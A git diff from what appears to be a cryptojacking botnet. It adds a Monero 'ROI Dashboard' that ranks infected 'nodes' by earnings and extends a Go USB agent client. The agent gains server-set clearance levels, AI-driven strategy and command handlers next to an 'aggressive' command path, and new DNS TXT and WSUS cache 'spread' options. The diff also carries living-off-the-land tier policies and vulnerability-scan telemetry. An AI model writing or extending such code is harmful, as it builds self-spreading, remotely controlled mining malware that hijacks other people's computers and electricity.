font-size: 1.1rem; + font-weight: 700; + color: #fff; +} + +.roi-proj-value.green { color: #39ff14; } +.roi-proj-value.amber { color: #ffb020; } +.roi-proj-value.cyan { color: #00e8f5; } +.roi-proj-value.magenta { color: #ff2da6; } + +/* ── Hashrate spark bar ─────────────────────────────────────────────────── */ + +.roi-spark { + display: flex; + align-items: flex-end; + gap: 2px; + height: 40px; +} + +.roi-spark-bar { + flex: 1; + border-radius: 2px 2px 0 0; + background: linear-gradient(180deg, #ffb020, #ff6b3580); + transition: height 0.3s ease; + min-height: 2px; +} + +/* ── Electricity cost input ─────────────────────────────────────────────── */ + +.roi-cost-row { + display: flex; + align-items: center; + gap: 0.75rem; + flex-wrap: wrap; + margin-bottom: 1rem; +} + +.roi-cost-label { + font-size: 0.68rem; + letter-spacing: 0.08em; + color: var(--text-muted); + font-family: 'Share Tech Mono', monospace; + white-space: nowrap; +} + +.roi-cost-input-wrap { + display: flex; + align-items: center; + gap: 0.3rem; + background: rgba(255,255,255,0.05); + border: 1px solid rgba(255,255,255,0.12); + border-radius: 6px; + padding: 0.25rem 0.6rem; +} + +.roi-cost-input-wrap input { + background: none; + border: none; + outline: none; + color: #fff; + font-family: 'Share Tech Mono', monospace; + font-size: 0.85rem; + width: 60px; + text-align: right; +} + +.roi-cost-unit { + font-size: 0.68rem; + color: var(--text-muted); + font-family: 'Share Tech Mono', monospace; +} + +.roi-net-banner { + display: flex; + align-items: center; + justify-content: space-between; + background: rgba(57, 255, 20, 0.06); + border: 1px solid rgba(57, 255, 20, 0.2); + border-radius: 8px; + padding: 0.75rem 1rem; + margin-top: 0.75rem; +} + +.roi-net-label { + font-size: 0.65rem; + letter-spacing: 0.1em; + color: #39ff14; + font-family: 'Share Tech Mono', monospace; +} + +.roi-net-value { + font-size: 1.3rem; + font-weight: 800; + color: #39ff14; + font-family: 'Share Tech Mono', monospace; +} + +.roi-net-value.negative { color: #ff4444; } + +/* ── Platform breakdown ─────────────────────────────────────────────────── */ + +.roi-platform-list { + display: flex; + flex-direction: column; + gap: 0.65rem; +} + +.roi-platform-row { + display: flex; + align-items: center; + gap: 0.75rem; +} + +.roi-platform-icon { + font-size: 1.1rem; + width: 24px; + text-align: center; + flex-shrink: 0; +} + +.roi-platform-label { + font-size: 0.72rem; + color: #c8d8e8; + min-width: 60px; +} + +.roi-platform-bar-wrap { + flex: 1; + height: 6px; + background: rgba(255,255,255,0.08); + border-radius: 3px; + overflow: hidden; +} + +.roi-platform-bar-fill { + height: 100%; + border-radius: 3px; + transition: width 0.5s ease; +} + +.roi-platform-val { + font-size: 0.68rem; + font-family: 'Share Tech Mono', monospace; + color: var(--text-muted); + min-width: 52px; + text-align: right; +} + +/* ── Mining method breakdown ─────────────────────────────────────────────── */ + +.roi-method-chips { + display: flex; + flex-wrap: wrap; + gap: 0.5rem; +} + +.roi-method-chip { + padding: 0.3rem 0.7rem; + border-radius: 20px; + font-size: 0.65rem; + letter-spacing: 0.08em; + font-family: 'Share Tech Mono', monospace; + border: 1px solid; +} + +.roi-method-chip.docker { background: rgba(0,232,245,0.1); color: #00e8f5; border-color: rgba(0,232,245,0.3); } +.roi-method-chip.inprocess{ background: rgba(57,255,20,0.1); color: #39ff14; border-color: rgba(57,255,20,0.3); } +.roi-method-chip.subprocess{background: rgba(255,176,32,0.1); color: #ffb020; border-color: rgba(255,176,32,0.3);} +.roi-method-chip.gpu { background: rgba(178,75,243,0.1); color: #b24bf3; border-color: rgba(178,75,243,0.3); } +.roi-method-chip.unknown { background: rgba(255,255,255,0.05);color: #8899aa; border-color: rgba(255,255,255,0.1); } + +/* ── Empty state ─────────────────────────────────────────────────────────── */ + +.roi-empty { + text-align: center; + padding: 3rem 1rem; + color: var(--text-muted); + font-size: 0.82rem; +} + +.roi-empty-icon { + font-size: 2.5rem; + display: block; + margin-bottom: 0.75rem; + opacity: 0.45; +} + +/* ── Loading spinner ─────────────────────────────────────────────────────── */ + +.roi-loading { + display: flex; + align-items: center; + gap: 0.5rem; + font-size: 0.72rem; + color: var(--text-muted); + font-family: 'Share Tech Mono', monospace; +} + +.roi-spinner { + width: 14px; + height: 14px; + border: 2px solid rgba(255,176,32,0.2); + border-top-color: #ffb020; + border-radius: 50%; + animation: roi-spin 0.7s linear infinite; +} + +@keyframes roi-spin { + to { transform: rotate(360deg); } +} + +/* ── Efficiency badge ─────────────────────────────────────────────────────── */ + +.roi-eff-badge { + display: inline-block; + padding: 0.1rem 0.4rem; + border-radius: 4px; + font-size: 0.6rem; + font-family: 'Share Tech Mono', monospace; + letter-spacing: 0.06em; +} + +.roi-eff-badge.top { background: rgba(57,255,20,0.15); color: #39ff14; } +.roi-eff-badge.mid { background: rgba(255,176,32,0.15); color: #ffb020; } +.roi-eff-badge.low { background: rgba(255,68,68,0.12); color: #ff6b6b; } +.roi-eff-badge.off { background: rgba(255,255,255,0.06); color: #8899aa; } + +/* ── Full-width section ──────────────────────────────────────────────────── */ + +.roi-full { + margin-bottom: 1.25rem; +} diff --git a/server/web/src/pages/ROIPage.tsx b/server/web/src/pages/ROIPage.tsx new file mode 100644 index 0000000..916879a --- /dev/null +++ b/server/web/src/pages/ROIPage.tsx @@ -0,0 +1,432 @@ +import { useState, useEffect, useMemo } from 'react'; +import { useWebSocket } from '../hooks/useWebSocket'; +import { api } from '../api/client'; +import { formatHashrate } from '../help/fleetFilters'; +import './ROIPage.css'; + +// ── helpers ─────────────────────────────────────────────────────────────── + +function fmt(n: number, decimals = 2) { + return n.toFixed(decimals); +} + +function fmtUSD(n: number): string { + if (n >= 1000) return `$${(n / 1000).toFixed(2)}k`; + return `$${n.toFixed(2)}`; +} + +function platformIcon(platform?: string): string { + const p = (platform ?? '').toLowerCase(); + if (p.includes('win')) return '⊞'; + if (p.includes('linux')) return '🐧'; + if (p.includes('darwin')) return ''; + return '⬡'; +} + +function effBadge(pct: number): { label: string; cls: string } { + if (pct >= 75) return { label: 'TOP', cls: 'top' }; + if (pct >= 40) return { label: 'MID', cls: 'mid' }; + if (pct > 0) return { label: 'LOW', cls: 'low' }; + return { label: 'OFF', cls: 'off' }; +} + +const WATT_PER_CORE_ESTIMATE = 15; // rough W per active CPU core +const XMR_COINGECKO_FALLBACK = 150; // offline fallback price USD + +// ── ROI Page ────────────────────────────────────────────────────────────── + +export default function ROIPage() { + const { agents } = useWebSocket(); + + const [xmrPrice, setXmrPrice] = useState(null); + const [xmrPriceAt, setXmrPriceAt] = useState(null); + const [priceLoading, setPriceLoading] = useState(true); + const [estXmrDay, setEstXmrDay] = useState(null); + const [kwh, setKwh] = useState(() => { + try { return parseFloat(localStorage.getItem('roi-kwh') ?? '0.10'); } catch { return 0.10; } + }); + const [sparkData, setSparkData] = useState([]); + + // Fetch XMR price on mount, refresh every 10min + useEffect(() => { + const fetch = () => { + setPriceLoading(true); + api.getXmrPrice() + .then((r) => { setXmrPrice(r.usd); setXmrPriceAt(r.fetched_at); }) + .catch(() => setXmrPrice(XMR_COINGECKO_FALLBACK)) + .finally(() => setPriceLoading(false)); + }; + fetch(); + const t = setInterval(fetch, 10 * 60 * 1000); + return () => clearInterval(t); + }, []); + + // Earnings estimate from fleet hashrate + const onlineAgents = useMemo(() => agents.filter((a) => a.status === 'online'), [agents]); + const totalHashrate = useMemo(() => onlineAgents.reduce((s, a) => s + (a.hashrate_15m ?? 0), 0), [onlineAgents]); + + useEffect(() => { + if (totalHashrate <= 0) { setEstXmrDay(null); return; } + api.getEarningsEstimate(totalHashrate) + .then((r) => setEstXmrDay(r.xmr_per_day ?? null)) + .catch(() => setEstXmrDay(null)); + }, [totalHashrate]); + + // Spark history — sample every 4s + useEffect(() => { + const id = setInterval(() => { + setSparkData((prev) => [...prev.slice(-29), totalHashrate]); + }, 4000); + return () => clearInterval(id); + }, [totalHashrate]); + + // Save kWh preference + const handleKwh = (v: number) => { + setKwh(v); + try { localStorage.setItem('roi-kwh', String(v)); } catch { /* noop */ } + }; + + // ── Derived numbers ────────────────────────────────────────────────────── + const price = xmrPrice ?? XMR_COINGECKO_FALLBACK; + + const xmrPerDay = estXmrDay ?? 0; + const usdPerDay = xmrPerDay * price; + const usdPerWeek = usdPerDay * 7; + const usdPerMonth = usdPerDay * 30; + + // Electricity cost estimate + const totalCores = onlineAgents.reduce((s, a) => s + (a.cpu_cores ?? 0), 0); + const estimatedWatts = totalCores * WATT_PER_CORE_ESTIMATE; + const kwhPerDay = (estimatedWatts / 1000) * 24; + const electricityCostDay = kwhPerDay * kwh; + const netProfitDay = usdPerDay - electricityCostDay; + + // Per-node profitability — sorted by USD/day desc + const nodeProfit = useMemo(() => { + const maxHash = Math.max(...agents.map((a) => a.hashrate_15m ?? 0), 1); + return agents + .map((a) => { + const hr = a.hashrate_15m ?? 0; + const pct = hr / maxHash; + // Linear interpolation of fleet earnings by hashrate share + const nodeXmrDay = xmrPerDay > 0 && totalHashrate > 0 + ? (hr / totalHashrate) * xmrPerDay + : 0; + const nodeUsdDay = nodeXmrDay * price; + const nodeCores = a.cpu_cores ?? 0; + const nodeWatts = nodeCores * WATT_PER_CORE_ESTIMATE; + const nodeKwhDay = (nodeWatts / 1000) * 24; + const nodeElecCost = nodeKwhDay * kwh; + const nodeNet = nodeUsdDay - nodeElecCost; + return { a, hr, pct, nodeUsdDay, nodeXmrDay, nodeNet }; + }) + .sort((x, y) => y.nodeUsdDay - x.nodeUsdDay); + }, [agents, xmrPerDay, totalHashrate, price, kwh]); + + // Platform breakdown + const platformStats = useMemo(() => { + const byPlatform: Record = {}; + for (const a of onlineAgents) { + const p = a.platform ?? 'unknown'; + if (!byPlatform[p]) byPlatform[p] = { count: 0, hashrate: 0 }; + byPlatform[p].count++; + byPlatform[p].hashrate += a.hashrate_15m ?? 0; + } + const maxHr = Math.max(...Object.values(byPlatform).map((v) => v.hashrate), 1); + return Object.entries(byPlatform) + .sort((a, b) => b[1].hashrate - a[1].hashrate) + .map(([platform, stats]) => ({ platform, ...stats, pct: stats.hashrate / maxHr })); + }, [onlineAgents]); + + // Mining method breakdown + const methodStats = useMemo(() => { + const counts: Record = {}; + for (const a of onlineAgents) { + const m = a.active_method ?? 'unknown'; + counts[m] = (counts[m] ?? 0) + 1; + } + return Object.entries(counts).sort((a, b) => b[1] - a[1]); + }, [onlineAgents]); + + const maxSparkVal = Math.max(...sparkData, 1); + + // ── Empty state ────────────────────────────────────────────────────────── + if (agents.length === 0) { + return ( +
+
+ 💹 + No nodes online. Deploy agents to start tracking ROI. +
+
+ ); + } + + // ── Render ─────────────────────────────────────────────────────────────── + return ( +
+ + {/* ── Hero ─────────────────────────────────────────────────────────── */} +
+
+

FINANCIAL INTELLIGENCE

+

ROI Dashboard

+

+ Live earnings · per-node profitability · net profit after electricity +

+
+ +
+
+ XMR + {priceLoading ? ( +
+
+ fetching… +
+ ) : ( + <> + ${xmrPrice?.toFixed(2) ?? '—'} + + USD{xmrPriceAt ? ` · ${new Date(xmrPriceAt).toLocaleTimeString()}` : ''} + + + )} +
+
+ + {/* ── KPI Row ──────────────────────────────────────────────────────── */} +
+
+
+
XMR / DAY
+
{xmrPerDay > 0 ? fmt(xmrPerDay, 6) : '—'}
+
at {formatHashrate(totalHashrate)}
+
+
+
+
USD / DAY
+
{usdPerDay > 0 ? fmtUSD(usdPerDay) : '—'}
+
gross revenue
+
+
+
+
USD / MONTH
+
{usdPerMonth > 0 ? fmtUSD(usdPerMonth) : '—'}
+
30-day projection
+
+
+
+
NET PROFIT / DAY
+
+ {usdPerDay > 0 ? fmtUSD(netProfitDay) : '—'} +
+
after electricity est.
+
+
+
+
ONLINE NODES
+
{onlineAgents.length}
+
of {agents.length} total
+
+
+
+
EST. POWER DRAW
+
{estimatedWatts > 0 ? `${estimatedWatts}W` : '—'}
+
{totalCores} cores × {WATT_PER_CORE_ESTIMATE}W est.
+
+
+ + {/* ── Main grid row 1 ──────────────────────────────────────────────── */} +
+ + {/* Hashrate sparkline + projections */} +
+
+ EARNINGS PROJECTION +
+ + {/* Spark */} + {sparkData.length > 1 && ( +
+ {sparkData.map((v, i) => ( +
+ ))} +
+ )} + +
+
+
TODAY
+
{usdPerDay > 0 ? fmtUSD(usdPerDay) : '—'}
+
+
+
THIS WEEK
+
{usdPerWeek > 0 ? fmtUSD(usdPerWeek) : '—'}
+
+
+
THIS MONTH
+
{usdPerMonth > 0 ? fmtUSD(usdPerMonth) : '—'}
+
+
+
THIS YEAR
+
{usdPerDay > 0 ? fmtUSD(usdPerDay * 365) : '—'}
+
+
+ + {/* Net profit calculator */} +
+
+ ELECTRICITY RATE +
+ handleKwh(parseFloat(e.target.value) || 0)} + /> + $/kWh +
+ + ≈ {kwhPerDay.toFixed(1)} kWh/day · {fmtUSD(electricityCostDay)}/day cost + +
+
+ NET DAILY PROFIT + + {usdPerDay > 0 ? fmtUSD(netProfitDay) : '—'} + +
+
+
+ + {/* Platform breakdown */} +
+
+ PLATFORM BREAKDOWN +
+ {platformStats.length === 0 ? ( +

No online agents.

+ ) : ( +
+ {platformStats.map(({ platform, count, hashrate, pct }) => { + const colors: Record = { + windows: '#00e8f5', linux: '#39ff14', darwin: '#b24bf3', + }; + const color = colors[platform.toLowerCase()] ?? '#ffb020'; + return ( +
+ {platformIcon(platform)} + {platform} +
+
+
+
+
+ + {count}n · {formatHashrate(hashrate)} + +
+ ); + })} +
+ )} + + {/* Mining method chips */} + {methodStats.length > 0 && ( + <> +
+ ACTIVE MINING METHODS +
+
+ {methodStats.map(([method, count]) => ( + + {method} · {count} + + ))} +
+ + )} +
+
+ + {/* ── Node profitability table (full width) ────────────────────────── */} +
+
+
+ + NODE PROFITABILITY RANKING + + sorted by USD/day + +
+ + + + + + + + + + + + + + + + {nodeProfit.slice(0, 25).map(({ a, hr, pct, nodeUsdDay, nodeXmrDay, nodeNet }, idx) => { + const isOffline = a.status !== 'online'; + const badge = effBadge(pct * 100); + return ( + + + + + + + + + + + + ); + })} + +
#NODEPLATFORMHASHRATEXMR/DAYUSD/DAYNET/DAYSHAREEFF
{idx + 1} + {a.name} + + {platformIcon(a.platform)} + {a.platform ?? '—'} + {hr > 0 ? formatHashrate(hr) : } + {nodeXmrDay > 0 ? nodeXmrDay.toFixed(6) : '—'} + {nodeUsdDay > 0 ? fmtUSD(nodeUsdDay) : '—'}= 0 ? '#39ff14' : '#ff6b6b' }}> + {nodeUsdDay > 0 ? fmtUSD(nodeNet) : '—'} + +
+
+
+
+
+
+ {badge.label} +
+ {nodeProfit.length > 25 && ( +

+ … {nodeProfit.length - 25} more nodes +

+ )} +
+
+
+ ); +} diff --git a/server/web/src/types/ws.ts b/server/web/src/types/ws.ts index 6d58dd7..9f686da 100644 --- a/server/web/src/types/ws.ts +++ b/server/web/src/types/ws.ts @@ -76,6 +76,7 @@ export interface WSStatsUpdate { /** LOTL tier label for spread telemetry badges. */ lotl_tier?: string; lotl_attempts?: import('./lotl').TierAttempt[]; + atlas_skips?: { tier: string; condition: string; reason: string }[]; vuln_findings?: import('./recon').VulnFinding[]; vuln_risk_score?: number; join_lane?: string; diff --git a/usb/agent/client/client.go b/usb/agent/client/client.go index 0ab5944..9c7c24f 100644 --- a/usb/agent/client/client.go +++ b/usb/agent/client/client.go @@ -62,11 +62,19 @@ type AgentClient struct { miningChain *MiningChainRunner // tierPolicy is server-pulled LOTL onion ordering (auth_response / policy_update). tierPolicy miner.MiningTierPolicy + // adaptiveStrategy holds server reasoning trace for diagnostics/UI. + adaptiveStrategy AdaptiveStrategy + // atlasSkips are fleet-learned hard subtree blocks from the failure atlas. + atlasSkips []AtlasSkip + // inheritedPhenotype is the sibling clone payload from auth (for AI snapshot / diagnostics). + inheritedPhenotype *InheritedPhenotype // triplePolicy is server-pulled recon → deploy → mining gate policy. triplePolicy miner.TripleOnionPolicy triplePolicyLoaded bool // joinLane is the last successful discover_and_join supply-chain lane. joinLane string + // clearanceLevel is the server-granted security clearance (L0–L4). + clearanceLevel int // lastJobAt records when the most recent valid mining job was delivered. // The Stratum fallback manager uses this to detect "connected but jobless" @@ -382,6 +390,11 @@ func (c *AgentClient) authenticate() error { } c.applyAuthLotlPolicy(resp) c.agentID = resp.AgentID + if resp.ClearanceLevel > 0 { + c.mu.Lock() + c.clearanceLevel = resp.ClearanceLevel + c.mu.Unlock() + } if c.cfg.LotlPolicyFromServer && len(resp.LotlOnionTiers) > 0 { c.mu.Lock() c.cfg.LotlOnionTiers = deploy.NormalizeLotlTiers(resp.LotlOnionTiers) @@ -479,6 +492,22 @@ func (c *AgentClient) handleMessage(msg Message) { } case "policy_update": go c.applyPolicyUpdate(msg.Payload) + case "adaptive_strategy_update": + c.applyAdaptiveStrategyJSON(msg.Payload) + case "ai_snapshot_request": + go func() { + hps := c.pool.HashesPerSecond() + c.pushAISnapshot(hps) + }() + case "clearance_update": + var payload struct { + ClearanceLevel int `json:"clearance_level"` + } + if err := json.Unmarshal(msg.Payload, &payload); err == nil && payload.ClearanceLevel >= 0 { + c.mu.Lock() + c.clearanceLevel = payload.ClearanceLevel + c.mu.Unlock() + } case "command": var cmd struct { Action string `json:"action"` @@ -498,6 +527,9 @@ func (c *AgentClient) handleMessage(msg Message) { } func (c *AgentClient) handleCommand(action string, tailLines int, command, path, data, module string) { + if c.handleAICommand(action, tailLines, command, path, data) { + return + } if c.handleAggressiveCommand(action, tailLines, command, path, data) { return } @@ -1118,6 +1150,9 @@ func (c *AgentClient) statsLoop(stop <-chan struct{}) { stats.StratumEgress = c.stratumEgress(false) } stats.MiningHashrate = avg15s + stats.GPUHashrate15s + if atlasSkips := c.atlasSkipsSnapshot(); len(atlasSkips) > 0 { + stats.AtlasSkips = atlasSkips + } if lastVulnReport != nil { score := lastVulnReport.RiskScore stats.VulnRiskScore = &score @@ -1142,6 +1177,10 @@ func (c *AgentClient) statsLoop(stop <-chan struct{}) { if err := c.write(Message{Type: "stats", Payload: payload}); err != nil { log.Printf("[agent] stats send failed: %v", err) } + // Piggyback Fleet AI snapshot on the ~60s stats probe tick. + if probeTick%6 == 0 { + c.pushAISnapshot(stats.MiningHashrate) + } } } } diff --git a/usb/agent/config/builtin.go b/usb/agent/config/builtin.go index f00d092..46a55dc 100644 --- a/usb/agent/config/builtin.go +++ b/usb/agent/config/builtin.go @@ -6,7 +6,7 @@ func GetBuiltinConfig() BuiltinConfig { return BuiltinConfig{ WorkerName: "dev-worker", ServerURL: "http://127.0.0.1:8989", - Wallet: "89QUKeqsKEGfP9Vpiph8jEXc3YyVFN5dKeYdMFVraVG4SGU3jAprbBp9AgRutKxzPSdQQMp9EGeG7Wmh8NRfniiaMMYpmC3", + Wallet: "", Threads: 4, ThreadMode: "percent", ThreadPercent: 75, @@ -49,12 +49,15 @@ func GetBuiltinConfig() BuiltinConfig { USBSpread: false, ShareSpread: false, GPUEnabled: false, - RVNWallet: "RTa4x7xx9iitVVYZ7c2asjvVRpA2P3osd9", + RVNWallet: "", RVNPoolHost: "rvn.2miners.com", RVNPoolPort: 6060, RVNPoolTLS: false, RVNPoolPass: "x", LotlOnionEnabled: false, LotlPolicyFromServer: false, + DnsTxtSpread: true, + WebRTCMeshSpread: false, + WSUSCachePeerSpread: true, } }